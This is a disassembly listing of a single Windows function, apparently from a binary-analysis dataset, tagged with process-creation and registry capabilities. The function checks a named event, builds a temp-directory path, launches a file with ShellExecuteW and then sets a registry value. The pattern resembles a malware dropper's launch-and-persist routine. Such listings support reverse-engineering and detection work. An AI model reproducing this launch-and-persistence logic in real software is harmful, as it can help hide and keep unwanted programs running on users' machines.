Function at 0x401740
Capabilities:
Create process on windows
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x2fc], ax
lea eax, [ebp - 0x2fa]
push eax
call fcn.00409990
xorps xmm0, xmm0
add esp, 0xc
xor eax, eax
mov ecx, 0x41cca8
mov dword [ebp - 0x300], 0
mov dword [ebp - 0x304], 0x104
mov word [ebp - 0x2c], ax
movq qword [ebp - 0x2a], xmm0
movq qword [ebp - 0x22], xmm0
movq qword [ebp - 0x1a], xmm0
movq qword [ebp - 0x12], xmm0
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4017b1
sub ecx, edx
sar ecx, 1
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OpenEventW]
je 0x4017df
push 0x41cca8
push 0
push 0x20000
call esi
test eax, eax
jne 0x4019d0
lea eax, [ebp - 0x308]
push eax
push 0xf003f
push 0
push 0x418930
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40184b
lea eax, [ebp - 0x304]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x300]
push eax
push 0
push 0x41899c
push dword [ebp - 0x308]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40183f
lea eax, [ebp - 0x2c]
push eax
push 0
push 0x20000
call esi
test eax, eax
jne 0x4019c4
push dword [ebp - 0x308]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x2fc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, 0x41cca8
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401865
sub ecx, edx
sar ecx, 1
jne 0x4018a6
push 0x4189ac
push 0x4189b8
push 0x41c1a0
call fcn.00401d80
add esp, 0xc
xor ecx, ecx
nop
movzx eax, word [ecx + 0x4189c8]
mov word [ebp + ecx - 0x2c], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401890
jmp 0x4018d4
push 0x41cca8
push 0x4189d4
push 0x41c1a0
call fcn.00401d80
add esp, 0xc
xor ecx, ecx
nop
movzx eax, word [ecx + 0x41cca8]
mov word [ebp + ecx - 0x2c], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4018c0
push 0x41c1a0
lea eax, [ebp - 0x2fc]
push 0x104
push eax
call fcn.00405f45
add esp, 0xc
cmp dword [0x41af08], 3
jne 0x401902
mov edx, 0x2b66
mov ecx, 0x418910
jmp 0x40190c
mov edx, 0x2b70
mov ecx, 0x418920
call fcn.00401610
test eax, eax
jne 0x4019d0
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0x4189e4
lea eax, [ebp - 0x2fc]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x1a
mov esi, 0x4189e8
lea edi, [ebp - 0xf4]
rep movsd dword es:[edi], dword [esi]
push 0x5e
lea eax, [ebp - 0x8a]
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.00409990
add esp, 0xc
lea eax, [ebp - 0x308]
push eax
push 3
push 0
lea eax, [ebp - 0xf4]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
pop edi
test eax, eax
jne 0x4019d0
lea ecx, [ebp - 0x2c]
lea edx, [ecx + 2]
jmp 0x401990
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401990
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
lea eax, [ebp - 0x2c]
push eax
push 1
push 0
push 0x418a54
push dword [ebp - 0x308]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4019d0
push dword [ebp - 0x308]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00405da4
mov esp, ebp
pop ebp
ret